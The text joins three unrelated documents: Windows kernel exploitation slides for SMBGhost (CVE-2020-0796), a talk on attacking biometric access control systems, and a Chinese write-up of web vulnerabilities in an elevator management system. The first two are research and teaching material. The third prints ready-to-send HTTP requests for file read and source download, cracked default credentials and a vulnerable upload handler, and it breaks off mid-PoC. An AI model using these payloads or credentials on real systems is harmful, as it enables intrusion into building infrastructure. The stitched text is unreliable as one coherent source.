StartVa ByteCount ByteOffset Physical Address[x] ProcessorCount Size LookasisidesList * … … NetBufferLookasides structure … Depth … SrvAllocStruct * LookasisidesListEntry memory pool [0x1100,0x2100…] Exploitation of SMBGhost From crash to arbitrary memory writing SrvNetBufferLookasides[0] SrvNetBufferLookasides[1] … Padding Flag (0) Lookaside index (0) Allocate CPU (1) … Buffer 0x1100 … MDL Next LookasisidesList[0] LookasisidesList[1] LookasisidesList[2] Allocate Buffer (0x1100) srvnet!SrvNetBufferLookasides LookasisidesList[cpu_cnt] SrvAllocStruct _MDL Next Size MdlFlags AllocationProdessorNumber Reserved Process MappedSystemVa StartVa ByteCount ByteOffset Physical Address[x] ProcessorCount Size LookasisidesList * … … NetBufferLookasides structure … Depth … SrvAllocStruct * LookasisidesListEntry Different Cpu has different list Exploitation of SMBGhost From crash to arbitrary memory writing SrvNetBufferLookasides[0] SrvNetBufferLookasides[1] … Padding Flag (0) Lookaside index (0) Allocate CPU (1) … Buffer 0x1100 … MDL Next LookasisidesList[0] LookasisidesList[1] LookasisidesList[2] Allocate Buffer (0x1100) srvnet!SrvNetBufferLookasides LookasisidesList[cpu_cnt] SrvAllocStruct _MDL Next Size MdlFlags AllocationProdessorNumber Reserved Process MappedSystemVa StartVa ByteCount ByteOffset Physical Address[x] ProcessorCount Size LookasisidesList * … … NetBufferLookasides structure … Depth … SrvAllocStruct * LookasisidesListEntry The return of Allocate Exploitation of SMBGhost From crash to arbitrary memory writing SrvNetBufferLookasides[0] SrvNetBufferLookasides[1] … Padding Flag (0) Lookaside index (0) Allocate CPU (1) … Buffer 0x1100 … MDL Next LookasisidesList[0] LookasisidesList[1] LookasisidesList[2] Allocate Buffer (0x1100) srvnet!SrvNetBufferLookasides LookasisidesList[cpu_cnt] SrvAllocStruct _MDL Next Size MdlFlags AllocationProdessorNumber Reserved Process MappedSystemVa StartVa ByteCount ByteOffset Physical Address[x] ProcessorCount Size LookasisidesList * … … NetBufferLookasides structure … Depth … SrvAllocStruct * LookasisidesListEntry Used in tcpip Exploitation of SMBGhost • SrvNetAllocateBuffer Allocate • 如果沒有在 SrvNetBufferLookasides 找到適合的 buffer,則會使⽤系統的 動態記憶體分配 ExPoolAlloacate 分配 buffer + SrvAllocaStruct+ MDL ⼤ ⼩的空間 • 並將 SrvAllocaStruct 及 MDL 初始化 • SrvAllocaStruct 及 MDL 會放在該 buffer 尾端 From crash to arbitrary memory writing Exploitation of SMBGhost From crash to arbitrary memory writing ExAllocatePoolWithTag Exploitation of SMBGhost From crash to arbitrary memory writing Flag Buffer Size … Index CPU … … … MDL addr MDL Padding … Initialize MDL & SrvAllocaStruct Exploitation of SMBGhost From crash to arbitrary memory writing Flag Buffer Size … Index CPU … … … MDL addr MDL Padding … Decompress buffer Exploitation of SMBGhost From crash to arbitrary memory writing Flag Buffer Size … Index CPU … … … MDL addr MDL Padding … Ret of SrvNetAllocateBuffer Exploitation of SMBGhost From crash to arbitrary memory writing Backdoor ? CTF Challenge ? Exploitation of SMBGhost • We can craft a special size to use the vulnerability to overwrite Buffer pointer first • After decompressing, it will overwrite the buffer pointer with target address • If it decompresses successfully, it will copy the data which uncompress from the original data to the buffer. • That is, we can do arbitrary memory writing ! From crash to arbitrary memory writing Exploitation of SMBGhost From crash to arbitrary memory writing Flag Target Size … Index CPU … … … MDL addr MDL Padding … AAAAAAAA AAAAAAAA … Exploitation of SMBGhost Exploitation of SMBGhost memcpy(target,original data,offset) Arbitrary memory writing Outline • Introduction • Vulnerability - CVE-2020-0796 • Exploitation of SMBGhost • From crash to arbitrary memory writing • How can we get code execution from arbitrary memory writing in the past • Method 1 - System root hijack (need some condition) • Method 2 - Abusing MDL Exploitation of SMBGhost • Abusing the HalpInterruptController • IAT Overwrite • We need bypass KASLR and read only protection • … How can we get code execution from arbitrary memory writing in the past Exploitation of SMBGhost • Abusing the HalpInterruptController • HAL (hardware abstraction layer) • A loadable kernel-mode module (hal.dll) that provides the low level interface to the hardware platform • hide the low-level hardware details from drivers and the operating system • I/O interface, interrupt controller … How can we get code execution from arbitrary memory writing in the past Exploitation of SMBGhost • Abusing the HalpInterruptController • HalpInterruptController • We can overwrite HalpApicRequestInterrupt to control RIP • It will be called quite frequently by windows • 在 Windows 8 之前 HAL Heap 為固定且為可讀可寫可執⾏,因此可將 shell code 也寫上⾯跳過去就好 • EternalBlue How can we get code execution from arbitrary memory writing in the past Exploitation of SMBGhost • Abusing the HalpInterruptController • Win 8 之後,HAL 變成可讀可寫不可執⾏,控制 RIP 後,要到 shellcode 執 ⾏變得困難許多 • 因此後來須先想辦法繞掉 DEP 再去跑 shellcode • 因為在 windows 中,純 ROP 不像 linux 中可以直接有⽅便的 API 置換掉 token,所以如果可以跑 shell code 會讓利⽤簡單很多 How can we get code execution from arbitrary memory writing in the past Exploitation of SMBGhost • Abusing the HalpInterruptController • 在 Windows 10 1703 之前,HAL heap 位置固定在 0xffffffffffd00000 • SMBGhost 在 1903 及 1909 ,HAL 位置無法預測 How can we get code execution from arbitrary memory writing in the past Outline • Introduction • Vulnerability - CVE-2020-0796 • Exploitation of SMBGhost • From crash to arbitrary memory writing • How can we get code execution from arbitrary memory writing in the past • Method 1 - System root hijack (need some condition) • Method 2 - Abusing MDL Exploitation of SMBGhost • 在有 SMBGhost 任意寫入後,因為是直接走 tcp ,無法在 target 機器上,有 任何的互動,我們也沒有當前⽬標的任何位置,變成有任意寫入卻不知道可寫 哪 • Win 10 後絕⼤多數的記憶體位置都會有 KASLR ,因此無法參考 EternalBlue 直接寫 HAL 位置 (Win10 前都固定位置) System Root hijack Exploitation of SMBGhost • 在搜尋 memory 後,發現 _KUSER_SHARED_DATA 永遠都會在 0xfffff78000000000 ,從古⾄今 都沒變過,且都是可寫 • ⼤多數都是⽤來計算時間,取得系統資訊,User space 會 mapping 在 0x7ffe0000,使得 user 取 ⼀些資訊時可以不⽤透過 system call • 上⾯不少系統資訊 • SystemTime • Syscall • 以前會把 syscall instruction 放這邊,類似 linux 中的 vdso • NtSystemRoot System Root hijack Exploitation of SMBGhost System Root hijack Exploitation of SMBGhost • NtSystemRoot • Used by ntdll!LdrpLoadDLL • 裡⾯會使⽤ ntdll!RtlGetNtSystemRoot 取得 dll 路徑,這個 api 就是直接 從 _KUSER_SHARED_DATA 取值 • 原本路徑為 (C:\Windows\) • 因此只要將該路徑改掉,就可以做 DLL Hijacking • 就算是 KnownDlls 也全都可以 Hijack System Root hijack Exploitation of SMBGhost System Root hijack Exploitation of SMBGhost • NtSystemRoot • C:\Windows\ -> \??\UNC\{IP}\Windows\ • Sechost.dll • Hijack svchost.exe (User : System) • Svchost 在 createthread 時會去 loaddll ,有時需等⼀下 • 如果有 kernel 任意寫入,亦可⽤於提權,Low integrity 也適⽤ System Root hijack Exploitation of SMBGhost System Root hijack Exploitation of SMBGhost • NtSystemRoot • Problem • 走 UNC 的話需要 target access 過任何 unc ⼀次,讓 unc driver 做初始化 • 有機會造成 BSOD 原因是因為會讓 csrss.exe load dll 失敗,因為 csrss 只會 load 有微軟簽章過的 dll ,只要 load 失敗就會造成該 process 掛掉 ,就會造成 BSOD • 需要ㄧ hijack 到 svchost 就⾺上將 path 改回,但這之前不能先讓 csrss load dll • 在 SMBGhost 的例⼦中不夠通⽤😢,且易失敗 System Root hijack Outline • Introduction • Vulnerability - CVE-2020-0796 • Exploitation of SMBGhost • From crash to arbitrary memory writing • How can we get code execution from arbitrary memory writing in the past • Method 1 - System root hijack (need some condition) • Method 2 - Abusing MDL Exploitation of SMBGhost Abusing MDL • Ricerca Security • @hugeh0ge @_N4NU_ • The first stable exploit • Only write a blog • Did not release exploit Exploitation of SMBGhost • 在 _KUSER_SHARED_DATA 尾端空⽩處構造 MDL 結構 • SMB 在做 Response 時會⽤ SrvAllocStruct 結尾的 MDL ptr 所描述的記憶體 區塊來作為 Response buffer • tcpip.sys 回傳時,就會透過 DMA 讀取 MDL 中的 physical address 的內容來 回傳 • 如果可以構造 MDL 到就可以達成任意物理記憶體讀取 • 但正常情況下 Response buffer 會是新分配的 buffer Abusing MDL Exploitation of SMBGhost Abusing MDL Exploitation of SMBGhost Abusing MDL • 如果在 SMB cmd 執⾏ error 時,會執⾏到 Smb2SetError • 其中會呼叫 Srv2SetResponseBufferToReceiveBuffer • 也就是說在 decompress 後,Smb 執⾏ Error 的情況下,下⾯三個 buffer 會 相等 • Receive buffer • Response buffer • Decompress buffer Exploitation of SMBGhost Flag Buffer Size … Index CPU … … … MDL addr MDL Padding … KUSER_SHARED_DATA Fake MDL Exploitation of SMBGhost _MDL Next Size MdlFlags AllocationProdessorNumber Reserved Process MappedSystemVa StartVa ByteCount ByteOffset 0x43a3 0x1337 Physics addr \xfeSMB……. SMB Data Exploitation of SMBGhost _MDL Next Size MdlFlags AllocationProdessorNumber Reserved Process MappedSystemVa StartVa ByteCount ByteOffset 0x2020 0x2021 Physics addr \xfeSMB……. SMB Data Secret Secret Use DMA to leak secret data in physical memory Exploitation of SMBGhost Abusing MDL Server Client(Attacker) Negotiate request Negotiate Response Session setup (NTLM) Session setup resp SMB compressed SMB decompress error response Craft a special message Response message 
 by using DMA with our MDL Get the content of 
 physical address srvnet!SrvNetSendData Exploitation of SMBGhost • 但在某些環境下 DMA 會失效 • SrvNetSendData • Smb 最後⽤來傳遞封包的 function,會預先處理回傳的封包 buffer,最後會 通過 tcpip 如果有使⽤ MDL 則會採⽤ MDL 所描述的記憶體來傳輸 • 我們可以構造特別的 MDL ,事先將 physical 事先⽤ double-mapping ⽅式 mapping 到 Virtual Address 中,之後 Response 時就會⽤該 system buffer 的 data Abusing MDL • SrvNetSendData Exploitation of SMBGhost Abusing MDL Exploitation of SMBGhost _MDL Next Size MdlFlags AllocationProdessorNumber Reserved Process 0 StartVa ByteCount ByteOffset 0x2020 0x2021 Physics addr \xfeSMB……. SMB Data Secret Secret User buffer Secret buffer Exploitation of SMBGhost _MDL Next Size MdlFlags AllocationProdessorNumber Reserved Process MappedSystemVa StartVa ByteCount ByteOffset 0x2020 0x2021 Physics addr \xfeSMB……. SMB Data Secret Secret Double-mapped User buffer Secret buffer Secret buffer Exploitation of SMBGhost • 我們可以從 physical address 0x1000 位置周圍讀取內容,在 windows 10 中 是固定 mapping 到 Hal heap • 可獲得 HAL Heap 的 Virtual Address • 也可獲得 hal.dll 位置 • From Alex lonescu’s talk Getting Physical with USB Type-C: Windows 10 RAM Forensics and UEFI Attacks Abusing MDL Exploitation of SMBGhost • 接下來可以再次構造 MDL • 我們只要可以構造 MDL->MappedSystemVA 就可以讓該 buffer 作為 response buffer • Arbitrary virtual memory reading • 可以從 hal.dll 獲得 nt 及 HalpInterruptController 位置 Abusing MDL Exploitation of SMBGhost Abusing MDL Exploitation of SMBGhost • SrvNetSendData • 該 function 會初始化成 SMB 封包的格式,如填入 size of SMB header,如 果 leak 的位置是無法寫入會造成 Access violation(BSOD) Abusing MDL Exploitation of SMBGhost • How to solve the access violation problem ? • 利⽤ compress 功能 (SrvNetCompressData) • 在 SrvNetSendData 中,如果啟⽤ compress ,則會分配新的 buffer 來放 mdl->MappedSystemVA ,因此會將要 leak 的 data 做 compress 後回 傳,寫入 SMB header 資訊也會使⽤新的 buffer Abusing MDL Exploitation of SMBGhost • Overwrite PTE to make some page to ERW • ExAllocatePool • Allocate a NonPagedPool memory Bypass DEP Exploitation of SMBGhost • PTE (Page Table Entry) • Each page of virtual address is associated with PTE, with contains the PA to which the virtual one is mapped. • Page 權限主要靠 PTE 來決定,如果我們可以修改到 PTE 也就可以任意修 改 memory 權限 bypass DEP Bypass DEP Exploitation of SMBGhost CR3 KPROCESS PML4 PDPT PD PT Byte Within Page RAM Page Map Level 4 Page Directory Pointer Page Directory Page Table DirBase PFN PFN PFN PFN 47 39 30 21 12 Byte Exploitation of SMBGhost Bypass DEP No Access (Not Canonical Address) No Access 0x7fffffff0000 0x800000000000 0xffff800000000000 User Space (exe, dll, process heap,process stack) 0x0 0xffffff8000000000 Page Table Exploitation of SMBGhost • How windows to manage page table ? • Self-ref entry • This technique consists of using one entry at the highest paging level by pointing to itself. • In 64 bits, this entry is located in the PML4 • That is, there is a PTE point to PML4 so that system can modify any PTE to manage page table. Bypass DEP Exploitation of SMBGhost Bypass DEP RAM Page Map Level 4 Page Directory Pointer Page Directory Page Table PFN PFN PFN Byte PFN Exploitation of SMBGhost Bypass DEP RAM Page Map Level 4 Page Directory Pointer Page Directory Page Table Self entry PFN PFN PFN PFN Exploitation of SMBGhost • How to locate PTE of 0 • Find the Self-ref entry • 0xfffff00000000000 + 0x800000000*(self-ref entry) • It also the base of Page table Bypass DEP Exploitation of SMBGhost Bypass DEP RAM Page Map Level 4 Page Directory Pointer Page Directory Page Table 0x1ed 0 0 0 Assume self-ref entry is 0x1ed 0xfffff00000000000 + 0x800000000*0x1ed = 0xffffff6800000000 Exploitation of SMBGhost • 在過去 windows 是以 0x1ed 作為 self-modify entry 因此 Page table 的位置 是固定的,導致 attack 可⽤這特性來輕易修改 page table • 在近期的版本中,這數值則是從 0x100-0x1ff 隨機⼀個數值,每次開機都會 不同,如果有任意記憶體讀取,可從 nt!MmPteBase 獲得 Page table 位置 • 如果有任意 physical address 也可以從 0x1ad000 (PML4 of system process)找出 self-entry 位置,從⽽推出 Page table 在 virtual address 的位 置 Bypass DEP Exploitation of SMBGhost • 找到 Sef-ref entry 之後,我們可以算出想改權限 page 的位置的 PTE,將最⾼ ⼀ bit (NX bit) 清除,該 page 就會有執⾏權限 Bypass DEP Exploitation of SMBGhost • 我們可修改 _KUSER_SHARED_DATA page 權限,改為可讀可寫可執⾏ • 放 shellcode & recover shellcode ⾄ KUSER_SHARD_DATA 尾端 • 覆蓋 HalpApicRequestInterrupt • Control RIP ! • 因為 HalpApicRequestInterrupt 會不斷被呼叫到,需要⾺上先還原該 pointer 位置 Bypass DEP Exploitation of SMBGhost Flag Buffer Size … Index CPU … … … MDL addr MDL Padding … KUSER_SHARED_DATA Fake MDL Kernel APC Shellcode Flag Exploitation of SMBGhost • APC Injection shellcode • 我們只有 kernel code execution 沒有 user mode 的 process 的互動 • 我們此時就可以利⽤ APC injection ⽅式,將 user mode APC inject 到⾼權 限的 Process 中 • 這邊需要特別注意 IRQL,如果沒寫好,會踩到 paged memory Shellcode Exploitation of SMBGhost • KAPC shellcode • KAPC • Find the target thread (svchost.exe) • Allocate execute memory in user-space • Copy shellcode to the memory • Queue the use-mode APC • UAPC • Reverse shell Shellcode Exploitation of SMBGhost Demo Exploitation of SMBGhost • 在獲得 shell 後須立刻將 _KUSER_SHARED_DATA page 上的 data 還原 • 因為 PatchGuard 有保護該 page 尾端,如果沒有清空則有可能會 BSOD • CRITICAL_STRUCTURE_CORRUPTION Recover Conclusion • Although Ntsystem root hijack is not useful in this case, it also a powerful method for EoP. • It is a very funny backdoor bug, and can learn a lot of knowledge about Windows kernel • If you want learn windows kernel exploit, it an excellent case for you. Thanks • Lucas Leong • @_wmliang_ Q & A Thank you for listening angelboy@chroot.org @scwuaptx Reference • https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html • https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local- privilege-escalation-writeup-and-poc/ • https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging- systems-part-1 • https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging- systems-part-2-windows • http://www.alex-ionescu.com/ • https://docs.microsoft.com/zh-tw/windows/ • https://www.matteomalvica.com/blog/2019/07/06/windows-kernel-shellcode/#token-stealing
pdf
Attacking Biometric Access Control Systems By: Zamboni Outline Overview of biometrics General methodology used to attack biometric systems Example attacks against physical access control systems Defenses Question Biometrics Unique and (relatively) permanent physical or behavioral characteristic that can be used to identify or authenticate a user Examples: Finger prints Hand geometry Vascular patterns Retina Iris Voice pattern Advantages Unique Part of the user Very hard to forgot or lose Can provide reliable authentication Disadvantages & Problems Cannot be kept secret Some can be copied or stolen Cannot be reset or revoked Make insecure cryptographic keys Common across multiple systems/organizations System accuracy is dependent on enrollment verification System can be manipulated if more than one person has access to the reader or resource Basic Biometric Process 1. Collection at the Biometric Sensor: System captures physical or behavioral characteristic 2. Feature Extraction: Template is created 3. Comparison: New template is compared with stored templates to produce a matching score 4. Result: System returns a match or non- match result Basic Biometric Process Identification vs. Authentication Identification tells who someone is Authentication verifies that someone is who he/she claims to be Types of authentication: Something you know Something you have Something you are Template Verification Identification One-to-many search Does the system recognize you? Steps: 1) User presents a characteristic to the system 2) User template is compared to each template in the database for a match Authentication (Verification or positive matching) One-to-one search Are you who you claim to be? Steps: 1) User provides user name, PIN or other form of identification 2) User presents a characteristic to the system 3) User template is only compared to template associated with that specific user Template Matching Matching is approximate Problems with this Can not give a categorical yes or no Can only say that templates match with a confidence level of 99% AKA: Loose equality or close equality Error Rates Type I – FRR (False Reject Rate) Rate at which system denies access to a legitimate user Type II – FAR (False Acceptance Rate) Rate at which system authenticates an un-enrolled user Important: Even without an intruder a system could wrongly authenticate a user CER: Cross-over Error Rate (Equal Error Rate) Point at which Type I and Type II errors are equal Most realistic and reasonable rate to use when comparing biometric systems Attacking Biometric Systems General Attack Information Security is only as good as the weakest link Try traditional attacks first Traffic replay Spoofing Password guessing Bruteforce Examine system connections How secure are the connections? Proprietary systems: security through obscurity Download vendor’s docs and look for default passwords, SNMP strings, etc Often vulnerable to traditional attacks Attack Windows and Unix systems which are part of the biometric system like you would any other Windows or Unix box Know the OEM Find the OEM for the device; research known exploits against their products Find other manufactures that source from that OEM and research exploits against their products Words of Caution Some systems are fragile Even a simple portscan can crash some systems Approach readers and panels with caution System instability could be caused by misconfiguration Very common: misconfigured Lantronix Micro100 serial server Recommend excluding port 30718 from port scans Others are intrinsic product flaws If possible test attacks first in a lab or non- production environment Nine Generic Attack Points Overview of where to attack a biometric system General methodology can be applied to all biometric systems N.M. Ratha, J.H. Connell and R.M. Bolle: “An Analysis of Minutiae Matching Strength” 8 attack points Ninth point Attack Points Type 1 Attack Type 1 Attack Attacking the biometric sensor Present a fake biometric to the sensor that mimics an authorized user. Examples: Fake gelatin fingers Picture of an iris Voice recording Type 2 Attack Type 2 Attack Attacking communications from the biometric sensor Not always an option: biometric sensor and feature extractor are sometimes combined Attacker can intercept data sent by sensor Attacker could send malicious data to the feature extractor Replay attack Examples: Hill Climbing attack Decoding intercepted WSQ files to make fake fingerprints Injecting malicious WSQ files into the system Type 3 Attack Type 3 Attack Manipulating/overriding feature extraction and template creation process Usually an attack on software or firmware Examples: Generating a template preselected by the attacker Steal templates generated by the system Type 4 Attack Type 4 Attack Attacking the communication channel between template creation unit and the comparison unit Large threat when templates are compared on a remote system Examples: Intercept a valid user template for later use Inject a malicious template Inject malicious templates to bruteforce the system Easier to inject bruteforce traffic here than when it leaves the biometric sensor Templates are simpler than unprocessed biometric Smaller keyspace Not a very useful attack without knowing template format Type 5 Attack Type 5 Attack Attacking the template comparison unit Close equality makes some attacks possible here Templates must be in the clear when they are compared Can be an attack on software, firmware or configuration Examples: Modify matching software to produce artificially low or high scores Change the threshold for a successful match Can make spoofing attacks easier End users will not notice this change because system will continue to authenticate them Some systems have a lower limit on the matching score threshold On some systems the setting is configurable over the network or configurable locally with the appropriate software package and a PDA. Type 6 Attack Type 6 Attack Attack or tamper with stored templates Some systems support more than one template per user Beware of duress templates(!) Examples: Steal a template Associate a malicious template with an already enrolled user Enroll a malicious user Four Ways to Store Templates On Reader or Device Quick No network access required Limited storage space Inconvenient manual loading Central Server Efficient management of multiple users across multiple systems Dependant on a network Backend server can be attacked Transportation and storage security a concern Access Card or Token Quick User controls the template Token or access card can be stolen Need to worry about secure storage and transmission Hybrid – Combination of the above Examples: Templates stored on a central server but cached on the reader Templates stored on a smartcard and stored on central server to make rebadging easier Type 6 (Cont.) Central server: Template usually stored in a database or flat file Try traditional attacks Access card or token Attacks on proximity cards Poor read/write protection RFID Acquiring a template to inject Steal from a central server, card or reader Buy a reader and create your own templates Template created on company X, model Y systems will work on all model Y system by company X Type 7 Attack Type 7 Attack Attacking the transmission of stored templates Data can be corrupted, intercepted or modified Traffic is often unencrypted when send over Ethernet or serial networks Templates stored on cards or tokens: RFID usually transmits in the clear Parts of Mifare and HID iClass transmissions are encrypted Recent attack on the Texas Instruments DST chips Replay attacks on proximity cards Examples: Sniffing traffic to steal templates Injecting templates to falsely authenticate a malicious user Type 8 Attack Type 8 Attack Overriding the final decision If the final match decision can be overridden by an attacker than the system has been defeated Type 9 Attack Type 9 Attack Attacking the transmission of enrollment templates to the storage location Similar to attacks at point 4 but with potential longer lasting affects Could permanently add malicious template into the system Examples Names withheld to protect the triumphant Simple Biometric Access Control System Common setup used by many biometric readers that store templates on the reader Step to authenticate a user: 1. User presents card or enters PIN 2. PIN or card number is sent to the biometric reader 3. Reader finds template for the user 4. Reader compares templates 5. If they match the PIN or card number are send to the access control panel 6. If that user has access to that door the control panel unlocks the door Using Wiegand Injection Inject the card number of a legitimate user into a Wiegand line Using a Wiegand magcard reader 1. Gain access to the Wiegand line for the Biometric reading Remove Biometric reader from wall Access wires in drop ceiling or other non-secure area 2. Connect the Wiegand magcard reader to the Wiegand line 3. Create a custom magcard with the card number of the user you wish to impersonate 4. Swipe card through reader to send card number 5. Open door Using a RS-232 to Wiegand converter 1. Gain access to the Wiegand line for the Biometric reading Remove Biometric reader from wall Access wires in drop ceiling or other non-secure area 2. Connect the RS-232 to Wiegand converter 3. Send card number 4. Open door Using Wiegand Injection Defenses Defense: Install tamper switches on readers Monitor for communication errors from readers Change keycode on locks used to secure readers If possible use high security locks to secure readers and panels Protect all Wiegand lines using hard conduit Have camera coverage on all readers Biometric System with Templates at a Central Location Step to authenticate a user: 1. User presents card 2. Card number is sent to the biometric reader 3. Reader request template for that user 4. Server sends template to the reader 5. Reader compares templates 6. If templates match, the card number is send to access control panel 7. If that user has access to that door control panel unlocks the door Attacking the Central Server MSDE used to store the templates Unpatched by default Weak SA password Steps to attack the templates on the server 1. Gain access to the database using know vulnerability 2. Locate the templates 3. Associate an already enrolled user template with a user who has higher access privileges Defenses: Patch and harden the system used to store the templates Monitor for intrusions on the system Note: PIN or card number stored in the clear in the database Beware of injecting duress templates Defenses: Things You Can Do Test systems to know their weakness so threats can be better mitigated Use man traps to allow only one person to have access to the biometric reader at once. Monitor for false readings/failed authentication attempts Have a camera covering each reader Harden and patch all servers and workstations in the biometric system Install tamper switches on all readers Activate liveliness detection on all readers Combine biometrics with a second or third form of authentication Defenses: Vendor Action Add time stamp and sequence number to data in order to prevent reply attacks Output matching scores in wider increments to protect against Hill Climbing attacks Mutually authenticate readers and panels/backend servers Encrypt all data transmissions using proven encryption algorithms Install server and workstation software as secure by default Conclusion Use the nine attack types to locate weak points in a system Try traditional attacks first Only way to determine how secure a biometric systems is to: Test it yourself Attack it yourself Break it yourself Physical security people will need help to do this Questions? Zamboni@Miskatoniclabs.com www.miskatoniclabs.com/biometrics/
pdf
记⼀次某电梯Web系统⿊盒到PHP⽩盒挖掘RCE的过程 概述: 闲来⽆事,感觉IOT的洞挺好挖,记⼀次针对某电梯的Web系统挖掘到的⼏个任意 ⽂件上传跟命令注⼊的过程,算是对PHP代码审计学习的⼀个记录。) 前置知识: PHP执⾏命令函数:) 1、shell_exec()) string)shell_exec)()string)$cmd)))执⾏命令,并将结果作为字符串返回。) 返回值:如果执⾏失败,则返回NULL。执⾏成功则返回执⾏结果字符串。) 注意:This)function)is)disabled)when)PHP)is)running)in)safe)mode) 2、passthru()) void)passthru)()string)$command)[,)int)&$return_var)]))) 没有返回值,函数直接将执⾏结果返回给浏览器。函数第⼆个参数就是执⾏状态 码:返回0表⽰成功,返回1表⽰失败。) 3、exec()) string)exec(string)command,)string)[array],)int)[return_var]);) command)–)需要执⾏的命令) array)–)是输出值填充的数组(每⼀⾏作为数组的⼀项)) return_var–是返回值0或1,如果返回0则执⾏成功,返回1则执⾏失败。) 执⾏不成功时的⽅案:⼀个技巧就是使⽤管道命令,)使⽤)2>&1,)命令就会输出shell 执⾏时的错误到$output变量,)输出该变量即可分析。) 如:exec(‘convert)a.jpg)b.jpg’,)$output,)$return_val);改为:exec(‘convert)a.jpg)b.jpg) 2>&1’,)$output,)$return_val);)print_r($output);) 4、system()) string)system)()string)$command)[,)int)&$return_var)]))) return_var):命令执⾏状态码。返回0表⽰成功,返回1表⽰失败。) 返回值:返回执⾏结果的最后⼀⾏,如果失败返回FALSE.) ⼆、区别) 1、shell_exec())只返回,不输出。) 2、passthru())只输出,不返回,有状态码。) 3、exec())返回最后⼀⾏结果,所有结果可以保存到⼀个返回的数组⾥⾯,有状态 码。) 4、system())输出返回最后⼀⾏结果。)有状态码。) 漏洞分析: 最早⿊盒发现,存在任意⽂件读取 ) 进⾏抓包) ) 篡改成系统其他路径,成功读取系统⽤户。) POST /app_show_log_lines.php HTTP/1.1) Host: xxx.xxx.xxx.xxx) Content-Type: application/x-www-form-urlencoded) Connection: close) Content-Length: 25) ) fileselection=/etc/passwd) 说明存在任意⽂件读取漏洞,这个先暂时记录下来,如果没有其他⿊盒能找到的洞 的话,就直接利⽤这个对页⾯的URI路径全部爬取,进⾏源码读取再审计。) ) 接着发现另外⼀个功能可以任意⽂件全部打包成⼀个zip⽂件提供下载,) ) 以及在页⾯监控中看进程看到了服务器上正在运⾏apache服务,) ) 渗透熟练的⼩伙伴应该知道apache默认⽹站路径是/var/www/html,我们直接尝 试打包这个⽂件夹下来看看源码在不在⾥⾯(如果不在的话,再利⽤上⾯的任意⽂ 件读取,fuzz跑⼀下apache的配置⽂件,再通过从配置⽂件中去寻找对应的web路 径。)) POC:) POST /app_download_zipped_logs.php HTTP/1.1) Host: X.X.X.X) Content-Type: application/x-www-form-urlencoded) Connection: close) Content-Length: 34) ) fileselection[]=/var/www/html/*) ) 成功下载该源码,可以开始⽩盒审计。) 如果代码量⼤的⾮MVC结构的,还是建议扫描器扫⼀遍,个⼈习惯喜欢先看看现有 的功能点全部过⼀遍⼤概⼼⾥有个底,然后每个代码快速阅读,再根据个⼈经验针 对⼤概率出现问题的⼀些功能针对性查看。) ) 访问Con`iguration发现访问了authorization.php那我们本地先从这个⽂件开始看,) ) 从第32⾏看到最后调⽤校验账号密码是/etc/apache2/.htpasswd⽂件,我们利⽤前 ⾯的任意⽂件读取即可获得密码。) ) 通过cmd5解密(cmd5打钱),) kone:gateway) admin:kone) 成功登录,说明思路没问题。) ) 初步看到功能有配置⽂件上传跟下载配置⽂件,应⽤升级、服务管理、时间服务器 管理、Web密码修改,以及PostgreSQL数据库管理。搞IOT漏洞挖掘熟悉的⼩伙 伴,如果是⿊盒的话,命令注⼊应该会优先看NTP服务器、Ping功能相关,我们切 到⽩盒去查看对应的代码看看有没过滤。) 涉及NTP服务的⽂件有三个change_ntp.php/monitor_ntp.php/change_time.php) ) 第30⾏看到了对应的正则表达式过滤,基本可以放弃了。再看另外⼀个⽂件 monitor_ntp.php。) ) 同样这边也是第17⾏看到这个正则,但后⾯没看到调⽤,继续往下看) ) 这⾥是想看看有没其他能直接get或者post参数进来的变量,50⾏这⾥重置ret变 量,但发现他这个变量是通过ntpq)-np)没加其他变量参数进去获取,没招。喵喵 change_time.php有没洞。) ) ⾸先判断是否登录成功,接着new_time参数是否有输⼊,通过trim移除new_time/ new_date两侧空⽩字符或者其他判断年/⽉/⽇。基本没招,放弃。) ) 接着67⾏到90⾏也是,变量全写死。) 利⽤notepad++搜索ping看看ping功能在哪个⽂件。) ) ) 发现在change_networking.php⽂件当中,先是使⽤validate_ip函数,作为IP地址来 验证,接着使⽤了escapeshellarg函数,php安全中escapeshellarg会过滤掉)arg)中 存在的⼀些特殊字符。在输⼊的参数中如果包含中⽂传递给),也会被过滤掉。) 常规套路⽆效放弃,转去看upload相关功能。) ) 看到关联的有这些⽂件,这⾥省略找到任意⽂件上传到地⽅,直接看漏洞代码。) <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">) <html>) <body>) ) <?php require 'kic.php'; ?>) <?php include("menu.html"); ?>) ) <br>) <?php) if (check_authorization()=="TRUE")) {) $docRoot = getWebRootDir();) if($docRoot == "unknown")) {) echo "<br>Failed to locate www document root directory. Aborting!<br>";) return;) }) ) $package_path = $docRoot."/uploads/bin/";) $package_file_path=$package_path.basename( $_FILES['uploadedfile' ]['name']); ) $_FILES['uploadedfile']['tmp_name'];) $return=1;) echo $package_file_path;) if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $package_file_path) && (filesize($package_file_path)>0)) ) {) if(is_dir($package_path)) ) {) if(!(opendir($package_path))) ) {) passthru('unzip $package_file_path');) if ($return)) {) $command = "sudo ".$docRoot."/scripts/ install_config.sh";) echo "<br>Installing...<br>";) passthru($command);) echo "installed";) return;) }) } ) }) } ) echo "There was an error reading the files, please try again!";) echo "<meta HTTP-EQUIV=\"refresh\" content=3;url=\"change_configuration.php\">"; ) }) else ) {) echo "Authentication Failed!";) echo "<meta HTTP-EQUIV=\"refresh\" content=2;url=\"authorization.php\">";) }) ?>) </body>) </html>) 从第10⾏可以看到有认证,过了认证后,第19⾏到第22⾏,开始对⽂件上传,并 没有做任何后缀跟⽂件类型限制,直接可以上传到⽹站对应根⽬录下的/uploads/ bin⽬录下,也没有做任何重命名。第24⾏到41⾏,判断上传⽂件是否为空⽂件-> 判断⽬录是否存在->打不开⽬录的时候开始执⾏unzip命令,但这⾥没看到有任意 ⽂件删除,没办法绕过去。) 漏洞利⽤: 构造任意⽂件上传POC:) POST /upload_bin_install.php HTTP/1.1) Host: X.X.X.X) Content-Type: multipart/form-data; boundary=---- WebKitFormBoundaryAgAiQWYWgJxBjqwA) Cookie: 